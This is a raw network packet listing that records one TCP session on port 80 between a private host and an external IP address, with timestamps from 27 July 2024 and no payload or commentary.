Jul 27, 2024 05:39:16.728728056 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.728744030 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.728751898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.728791952 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.728797913 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.728831053 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.728842020 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.728861094 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.728872061 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.728893995 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.728903055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.728928089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.728928089 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.728961945 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.728972912 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.728996038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.729006052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.729029894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.729037046 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.729074001 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.736951113 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737001896 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737035036 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737066031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737066984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737102985 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737118006 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737124920 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737164974 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737170935 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737207890 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737215996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737241983 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737252951 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737286091 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737293959 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737329960 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737338066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737363100 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737374067 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737396955 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737405062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737432003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737443924 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737474918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737482071 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737515926 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737525940 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737555981 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737570047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737612963 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737618923 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737656116 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737657070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737692118 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737700939 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737725973 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737734079 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737761021 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737792969 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737811089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737813950 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737843990 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737854004 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737889051 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737895012 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737929106 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737940073 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737962008 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.737967968 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.737998009 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738008022 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738049030 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738050938 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738091946 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738101006 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738132954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738151073 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738173962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738182068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738218069 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738229990 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738260031 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738266945 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738301039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738332987 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738336086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738346100 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738368988 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738379002 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738404036 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738418102 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738436937 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738446951 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738475084 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738487005 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738518000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738528013 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738550901 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738567114 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738584042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738605976 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738626003 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738632917 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738667965 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738677025 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738703966 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738714933 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738739967 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738751888 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738781929 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738789082 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738821983 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738836050 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738854885 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738863945 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738888025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738902092 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738920927 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738924980 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738955975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738959074 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.738991022 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.738995075 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.739023924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.739039898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.739058971 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.739084959 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.739089966 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.739099026 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.739125013 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.739131927 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.739159107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.739170074 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.739192009 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.739201069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.739224911 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.739233971 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.739259958 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.739267111 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.739291906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.739301920 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.739325047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.739332914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.739357948 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.739367962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.739392042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.739401102 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.739427090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.739433050 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.739466906 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.748918056 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.748934031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.748950005 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.749003887 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.749002934 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.749021053 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.749036074 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.749042988 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.749052048 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.749064922 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.749092102 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.749128103 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.749169111 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.749217033 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.749238014 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.749259949 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.749270916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.749295950 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.749310970 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.749325037 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.749336958 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.749340057 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.749355078 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.749370098 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.749372005 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.749383926 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.749383926 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.749411106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.749420881 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.749444962 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.749469042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.749483109 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.749496937 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.749511003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.749511003 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.749532938 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.749542952 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.784914970 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.784985065 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.784990072 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.785021067 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.785037041 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.785065889 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.785109043 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.785141945 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.785154104 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.785175085 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.785182953 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.785209894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.785218954 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.785243988 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.785254002 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.785276890 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.785284996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.785310030 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.785320997 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.785342932 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.785352945 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.785377026 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.785387039 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.785409927 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.785420895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.785443068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.785450935 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.785480022 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.785485029 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.785523891 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.818897009 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.818919897 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.818955898 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.818978071 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.818993092 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.819015026 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.819036961 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.819050074 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.819062948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.819065094 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.819062948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.819062948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.819062948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.819062948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.819062948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.819078922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.819084883 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.819089890 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.819096088 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.819107056 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.819127083 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.819134951 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.819155931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.819171906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.819185972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.819195986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.819200039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.819212914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.819217920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.819222927 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.819246054 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.819256067 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.827583075 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.827641964 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.827704906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.827753067 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.827754021 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.827785015 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.827795029 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.827819109 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.827828884 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.827852964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.827872038 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.827894926 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.827902079 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.827946901 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.827954054 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.827986956 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.827999115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.828027964 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.828036070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.828068018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.828077078 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.828100920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.828105927 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.828145027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.828151941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.828185081 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.828196049 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.828233004 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.828249931 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.828283072 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.828303099 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.828346968 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.828353882 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.828396082 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.828402996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.828435898 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.828450918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.828480005 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.828519106 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.828568935 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.828610897 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.828644037 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.828664064 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.828686953 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.828692913 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.828727007 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.828736067 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.828769922 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.828774929 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.828821898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.828825951 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.828869104 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.828875065 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.828907967 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.828918934 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.828941107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.828954935 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.828974962 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.828979969 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829005003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829015017 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829037905 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829051018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829075098 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829088926 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829134941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829148054 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829170942 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829173088 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829206944 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829229116 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829243898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829258919 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829287052 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829299927 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829319000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829334974 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829350948 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829359055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829381943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829392910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.829415083 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.829423904 CEST	49477	80	192.168.2.4	85.28.47.31
